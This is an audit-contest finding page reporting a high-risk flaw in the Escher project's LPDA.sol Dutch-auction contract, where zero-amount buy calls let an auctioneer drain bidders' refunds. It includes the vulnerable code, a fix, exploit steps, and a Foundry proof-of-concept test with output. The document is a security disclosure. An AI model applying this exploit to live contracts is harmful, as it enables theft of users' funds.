Escher contest - ey88's results

A decentralized curated marketplace for editioned artwork.

General Information

Platform: Code4rena

Start Date: 06/12/2022

Pot Size: $36,500 USDC

Total HM: 16

Participants: 119

Period: 3 days

Judge: berndartmueller

Total Solo HM: 2

Id: 189

League: ETH

Escher

Findings Distribution

Researcher Performance

Rank: 63/119

Findings: 1

Award: $49.61

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

49.6134 USDC - $49.61

Labels

bug
3 (High Risk)
satisfactory
duplicate-441

External Links

Lines of code

https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol?plain=#L57

Vulnerability details

Impact

I found a bug in the LPDA.sol smart contract. Due to this bug, a malicious auctioneer can steal funds that would have to be returned to the bidders.

LPDA.sol smart contract uses the dutch auction system to sell series of nfts. In the dutch auction system, the price falls until all the nfts are sold and all the bidders pay the same price for a similar nft (final price). When users bid they lock funds to the smart contract, and they get funds back, if the final price is lower than the price when they bid. But in the LPDA.sol is a bug, which allows an auctioneer to drain all the funds from the smart contract, so users do not get any funds back when the auction ends.

Root cause and fix

In the buy function of the LPDA.sol there is no check that a buy amount is greater than zero, this leads to problems. At the end of the buy function is the following code block:

// After all the nfts are sold, whenever a user calls this function with zero as an amount to buy newId equals temp.finalId. // So auctioneer can send the totalSale (minus the fee) amount of tokens to himself multiple times. if (newId == temp.finalId) { sale.finalPrice = uint80(price); uint256 totalSale = price * amountSold; uint256 fee = totalSale / 20; ISaleFactory(factory).feeReceiver().transfer(fee); temp.saleReceiver.transfer(totalSale - fee); _end(); }

To fix this issue, you should add a check at beginning of the buy function, that the amount is greater than zero.

function buy(uint256 _amount) external payable { uint48 amount = uint48(_amount); require(amount > 0, "Zero amount");

Steps to exploit

  1. Wait until all the nfts are sold.

  2. Send funds to the auction contract, so that funds in the contract are divisible by total sale amount.

  3. Call the buy function with the amount parameter as zero, until all funds are drained.

Proof of Concept

To run poc:

  1. Run command "rm -Rf 2022-12-escher || true && git clone https://github.com/code-423n4/2022-12-escher.git && cd 2022-12-escher && npm ci && git submodule update --init --recursive && foundryup && forge test --gas-report" to clone the project.

  2. In the test folder of the cloned project is the file named LPDA.t.sol, replace function named test_LPDA() with code below:

function test_LPDA() public { // make the lpda sales contract sale = LPDA(lpdaSales.createLPDASale(lpdaSale)); // authorize the lpda sale to mint tokens edition.grantRole(edition.MINTER_ROLE(), address(sale)); //lets buy an NFT sale.buy{value: 1 ether}(1); assertEq(address(sale).balance, 1 ether); vm.warp(block.timestamp + 1 days); assertApproxEqRel(sale.getPrice(), 0.9 ether, lpdaSale.dropPerSecond); // buy the rest // this will auto end the sale sale.buy{value: uint256((0.9 ether + lpdaSale.dropPerSecond) * 9)}(9); vm.warp(block.timestamp + 2 days); uint soldAmount = 10; uint totalSale = soldAmount * sale.getPrice(); deal(address(sale), totalSale * 2); console.log("Amount before the attack:", address(sale).balance); sale.buy(0); console.log("Amount after the first call:", address(sale).balance); sale.buy(0); console.log("Amount after the attack:", address(sale).balance); assertGt(address(sale).balance, 0); }
  1. Run test in the verbose mode using command "forge test -vv"

  2. Finally logs show that contract is drained from funds.

[FAIL. Reason: Assertion failed.] test_LPDA() (gas: 768342) Logs: Amount before the attack: 18000000000000704000 Amount after the first call: 9000000000000352000 Amount after the attack: 0 Error: a > b not satisfied [uint] Value a: 0 Value b: 0

Tools Used

  • Foundry

#0 - c4-judge

2022-12-12T09:10:57Z

berndartmueller marked the issue as duplicate of #16

#1 - c4-judge

2023-01-04T10:13:48Z

berndartmueller marked the issue as satisfactory

#2 - C4-Staff

2023-01-10T22:21:29Z

JeeberC4 marked the issue as duplicate of #441

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter